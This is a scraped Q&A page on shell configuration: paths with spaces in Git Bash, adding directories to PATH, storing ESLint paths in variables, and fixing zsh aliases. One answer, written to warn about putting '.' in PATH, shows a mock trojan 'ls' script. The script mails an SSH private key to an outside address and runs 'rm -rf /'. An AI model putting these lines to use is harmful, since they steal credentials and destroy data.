How to export a windows path and then cd to is using the variable? - windows

I typically export variables with directories/paths that I frequently visit so that I don't have to type the whole thing (or tab). For example, in Windows, I'll create an environment variable and then use it in a bash prompt (git bash): cd $MY_LONG_PATH
Or, I can export a path in my .bashrc and use it the same way. Both ways work fine until you add spaces into the mix. For example, I'd like to be able to export a path like C:\Users\name\OneDrive - Company, Inc\Documents\My Project Folder\. You might say, just use a different directory. Unfortunately, I can't change this one because it's controled by my org. So, considering I can't change it, how can I get it to work with an environment or exported variable? I've tried both ways, but can't seem to get it right. I've escaped all the chars in .bashrc c\:/Users/name/OneDrive\ -\ Company,\ Inc/Documents/My\ Project\ Folder. This will work on the bash cli when I type it in (terminal), but doesn't work when I export it as a variable. I've tried using quotes around the whole thing and that doesn't work either. I've tried it in the regular windows environment variable control panel, and that doesn't work. Does anyone know the fix, if there is one?
Again, the goal is just to be able to: cd $LONG_PATH with the variable containing a windows directory with spaces

My test on Gitbash
# remove the trailing backslash
MY_LONG_PATH="C:\Users\name\OneDrive - Company, Inc\Documents\My Project Folder" <---
# use quotes
$ ls -l "$MY_LONG_PATH"
total 0
drwxr-xr-x 1 user 197613 0 Apr 14 00:10 test/
$ cd "$MY_LONG_PATH"
$ pwd
/c/Users/name/OneDrive - Company, Inc/Documents/My Project Folder
$ ls
test/

I figured out a way to do this. While ufopilot's answer was good, I didn't like having to use quotes for variables that have special characters. Also, I found that when you use tab-completion, there's a bug in bash (bash-completion) that will escape the $ in a variable on the command-line, which in turn would break the directory path. So to fix all of this, I first created a soft symlink to the path that contains spaces using Windows cmd:
> mklink /D C:\Users\name\projects "C:\Users\name\OneDrive - Company, Inc\Documents\My Project Folder"
And now I can export the variable in .bashrc:
export LONG_PATH="C:\Users\name\projects"
This allows me to change directories without putting quotes around LONG_PATH:
> cd $LONG_PATH
To fix the problem with tab-completion, I had to run the bash command:
shopt -s direxpand
What this does is it expands the variable first and then escapes the special characters if needed (for example, if yet another directory has spaces). Everything works like my other path variables now!

Related

How to remove the need of "./" in every shell script in MacOS?

I'm studying shellscript and I know that there is a way to skip "./" when you need to execute a shellscript.
For example: after I made a script like this:
echo "hello world!"
I use the command "chmod +X" to make it executable. But to execute it on my terminal I need to type:
./helloworld.sh
I know that theres is a way to skip this "./" if you're using bash. You go to .bashrc and write in the end of the script "PATH=PATH:."
But since I'm using MacOS, which use zsh, I tried to type "PATH=PATH:." in the end of my .zshrc but this didn't work.
Then I would like to know if there is a way to remove the need of "./" for every shellscript that I need to run.
Thank you people
P.S.: I have brew and ohmyzsh installed in my machine
What's Wrong with Your Code
The reason your example doesn't work is because PATH is a variable, and you need to expand it by prefixing it with the dollar sign to access its value, e.g. PATH=$PATH:. rather than just PATH=PATH:.. However, there are some other considerations too.
Prepending, Appending, and Exporting PATH
It's generally not recommended to treat your current working directory as part of your PATH for security reasons, but you can do it in any Bourne-like shell by prepending or appending . (which means any current working directory) to your PATH. Depending on where you call it and how you've initialized your shell, you may also need to export the PATH variable to your environment.
Some examples include:
# find the named executable in the current working directory first
export PATH=".:$PATH"
# find the named executable in the current working directory
# only if it isn't found elsewhere in your PATH
export PATH="$PATH:."
# append only the working directory you're currently in when you
# update the PATH variable, rather than *any* current working
# directory, to your PATH
export PATH="$PATH:$PWD"
Note that it's also generally a good idea to quote your variables, since spaces or other characters may cause problems when unquoted. For example, PATH=/tmp/foo bar:$PATH will either not work at all or not work as expected. So, wrap it up for safety (with quotes)!
Use Direnv for Project-Based PATH Changes
You might also consider using a utility like direnv that would enable you to add the current working directory to your PATH when you enter known-safe directories, and remove it from the PATH when leaving the directory. This is commonly used for development projects, including shell scripting ones.
For example, you could create the following ~/dev/foo/.envrc file that would only prepend the current working directory when in ~/dev/foo, and remove it again when you move above the current .envrc in your filesystem:
# ~/dev/foo/.envrc
#
# prepend "$HOME/dev/foo:$HOME/dev/foo/bin" to your
# existing PATH when entering your project directory,
# and remove it from your PATH when you exit from the
# project
PATH_add "$PWD/bin"
PATH_add "$PWD"
Because direnv uses whitelisting and ensures that your items are prepended to PATH, it's often a safer and less error-prone way to manage project-specific modifications to your PATH or other environment variables.
Use "$HOME/bin" to Consolidate Scripts
Another option is to create a directory for shell scripts in your home directory, and add that to your PATH. Then, any script placed there will be accessible from anywhere on your filesystem. For example:
# add this line to .profile, .zprofile, .zshrc, or
# whatever login script your particular terminal calls;
# on macOS, this should usually be .zprofile, but YMMV
export PATH="$HOME/bin:$PATH"
# make a ~/bin directory and place your
# executables there
mkdir -p ~/bin
cp helloworld.sh ~/bin/
Assuming the shell scripts in your bin directory already have their executable bit set (e.g. chmod 755 ~/bin/*sh), you can run any shell script in that directory from anywhere on your filesystem.
You need PATH=$PATH:. -- the $ to expand the (old) value of PATH is important.

How do I run ESLint from a saved Bash variable?

I am setting up a project initialization script and a git pre-commit hook for work on a project. We have the scripts I want to run for linting not in the root directory but in a sub-directory and I would like to keep it that way.
What I want to be able to do is to set the full relative path to the binary executables for eslint and phpcs to bash variables then be able to run them. I also want to be able to execute the composer.phar binary from the bash variables.
So here is what I did.
# Set tool paths
PHPCS_PATH=`./wp-content/themes/our-theme/vendor/bin/phpcs`
PHPCBF_PATH=`./wp-content/themes/our-theme/vendor/bin/phpcbf`
ESLINT_PATH=`./wp-content/themes/our-theme/node_modules/.bin/eslint`
SASSLINT_PATH=`./wp-content/themes/our-theme/node_modules/.bin/sass-lint`
COMPOSER_PATH=`./wp-content/themes/our-theme/composer.phar`
I was trying to test these paths locally from the project root directory and I keep getting errors.
I copy and paste one of those lines into my terminal, hit enter, then do one of the following:
${ESLINT_PATH} and command ${ESLINT_PATH} and "${ESLINT_PATH}" and $ESLINT_PATH all yield me...
zsh: command too long: eslint [options] file.js [file.js] [dir]\n\nBasic configuration...
eval "${ESLINT_PATH}" and eval $ESLINT_PATH and eval "$ESLINT_PATH" all yield me...
zsh: no matches found: [options]
zsh: command not found: Basic
zsh: command not found: --no-eslintrc
zsh: command not found: -c,
zsh: no matches found: [String]
Am I losing my mind? How in the world do I make the path executable? If I take the contents of the path and run it, it works just fine.
Example: ./wp-content/themes/swmaster/node_modules/.bin/eslint actually tells me to specify a path.
What am I doing wrong here?
Looks like your issue is in these assignments:
# Set tool paths
PHPCS_PATH=`./wp-content/themes/our-theme/vendor/bin/phpcs`
PHPCBF_PATH=`./wp-content/themes/our-theme/vendor/bin/phpcbf`
ESLINT_PATH=`./wp-content/themes/our-theme/node_modules/.bin/eslint`
SASSLINT_PATH=`./wp-content/themes/our-theme/node_modules/.bin/sass-lint`
COMPOSER_PATH=`./wp-content/themes/our-theme/composer.phar`
Those back-ticks are command substitutions. An easier to read way of writing this is would be:
PHPCS_PATH=$(./wp-content/themes/our-theme/vendor/bin/phpcs)
...
I don't think that is what you really want. A command substitution actually executes what is inside and is substituted by whatever goes to stdout. I think you were actually trying to do string assignments. This can be accomplished by simply removing the back-ticks because there are no spaces in the paths. But it is a good habit to get into to just double quote them anyway. Try this:
# Set tool paths
PHPCS_PATH="./wp-content/themes/our-theme/vendor/bin/phpcs"
PHPCBF_PATH="./wp-content/themes/our-theme/vendor/bin/phpcbf"
ESLINT_PATH="./wp-content/themes/our-theme/node_modules/.bin/eslint"
SASSLINT_PATH="./wp-content/themes/our-theme/node_modules/.bin/sass-lint"
COMPOSER_PATH="./wp-content/themes/our-theme/composer.phar"
Another method to solve your issue would be to add these directories to your PATH variable. For example, if you set your PATH to include the bin directory for phpcs and phpcbf, you would be able to execute those programs without specifying a full (or relative in this situation) path:
export PATH=$PATH:./wp-content/themes/our-theme/vendor/bin
# or export PATH=$PATH:/full/path/to/wp-content/themes/our-theme/vendor/bin
# Now you can just run the line below without a path...
phpcs
This morning I found what I was looking for in this gist: https://gist.github.com/rashtay/328da46a99a9d7c746636df1cf769675#file-pre-commit-eslint
My solution is now:
# Set tool paths
PHPCS="$(git rev-parse --show-toplevel)/wp-content/themes/our-theme/vendor/bin/phpcs"
PHPCBF="$(git rev-parse --show-toplevel)/wp-content/themes/our-theme/vendor/bin/phpcbf"
ESLINT="$(git rev-parse --show-toplevel)/wp-content/themes/our-theme/node_modules/.bin/eslint"
SASSLINT="$(git rev-parse --show-toplevel)/wp-content/themes/our-theme/node_modules/.bin/sass-lint"
This works from any directory in the repo because it ties to the repo base path. It is dynamic in that way.

ZSH aliases not found

When I open my ~/.zshrc file and add alias homestead=“cd ~/Homestead”, I expect to be able to type homestead and be taken to the Homestead folder.
Instead I get the following error:
zsh: command not found: “cd
Even when I use single quotes, i.e. alias homestead='cd ~/Homestead' and run source ~/.zshrc I get the same error.
UPDATE: Also, when I run which homestead I get homestead: aliased to "cd
How can I fix this?
The answer was to open ~/.zshrc in Sublime Text as opposed to TextEdit and to check that the " were coming up as 042 in an octal dump.
You don't need to define this alias at all in zsh. Add the following to your .zshrc:
setopt autocd
cdpath+=(~)
The first allows you to treat a directory name as a command, which implicitly sets the working directory of the current shell to the named directory. The second specifies that if the current directory doesn't have a directory whose name is used with cd (or by itself with autocd set), then try to find it in a directory named in the cdpath parameter.
With these two, simply typing Homestead will first try to run a command named Homestead; failing that, it tries to cd to ./Homestead, and failing that, will finally succeed in cding to ~/Homestead.
The double quotes must be ASCII, not Unicode outside the ASCII range. Load the file in your editor, disable any automatic mangling of single quotes and double quotes. Then replace the funny quotes with ASCII quotes " (code decimal 34, hex 22, octal 042). Or type the command at a prompt, then cut & paste it in your editor. If all else fails, add the alias at the end of your .zshrc with
printf 'alias homestead="cd ~/homestead"' >> ~/.zshrc
Verify the result with octal dump,
od -bc .zshrc
The number above the quotes should appear as 042.
Maybe your locale settings is auto correcting a double quote " into a localized double quote “ as you posted. Since this is not recognized as a valid quote in shell, a simple white-space would break the string. So the actual alias is “cd.
As to why alias homestead='cd ~/Homestead' does not work, it seems you changed the alias in ~/.zshrc. From the which homestead result, it can be seen that alias homestead='cd ~/Homestead' does not really work. Maybe there is another line of alias homestead=“cd ~/Homestead” hidden in .zshrc after it.
Just saying that for me what fixed it was an error in the first alias in my list that had a question mark in it.
Just switched to Mac OS Catalina and ~/.bashrc to ~/.zshrc and I guess zsh doesn't support question marks.
Maybe it'll help someone coming here from Google search like I did.

Autocomplete backslashes in zsh

Is there a zsh script that would allow me to auto complete spaces with backslashes?
For example:
assume there is a folder called "My folder" with a space in between.
If I want to get inside, I
cd My\ folder
However, I want a way to type
cd My folder
and zsh will automatically know to put a backslash so I don't have to.
A little late on the answer, but this should allow you to do what it is you're looking to do as well as retain the normal behavior for the cd command and also take you to your ~ directory if no directory is given.
Add to your ~/.zshrc file:
function cd() {
new_directory="$*";
if [ $# -eq 0 ]; then
new_directory=${HOME};
fi;
builtin cd "${new_directory}"
}
However your ZSH should have autocompletion built in, in which case you can enter the first few letters of the directory that you're trying to cd into, then hit tab and it should complete the directory name or give a list of directories if more than one matches.
You could Make an alias with "Myfolder" and run that in a zsh script.
alias -g "Myfolder"="My\ folder" ---> cd Myfolder
I don't know if there is a way to make it possible with having the space in between the words. If it has to be my "My folder" then I don't know that I can help you.

Why do I have to use an absolute path to execute Bash scripts?

I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.

Resources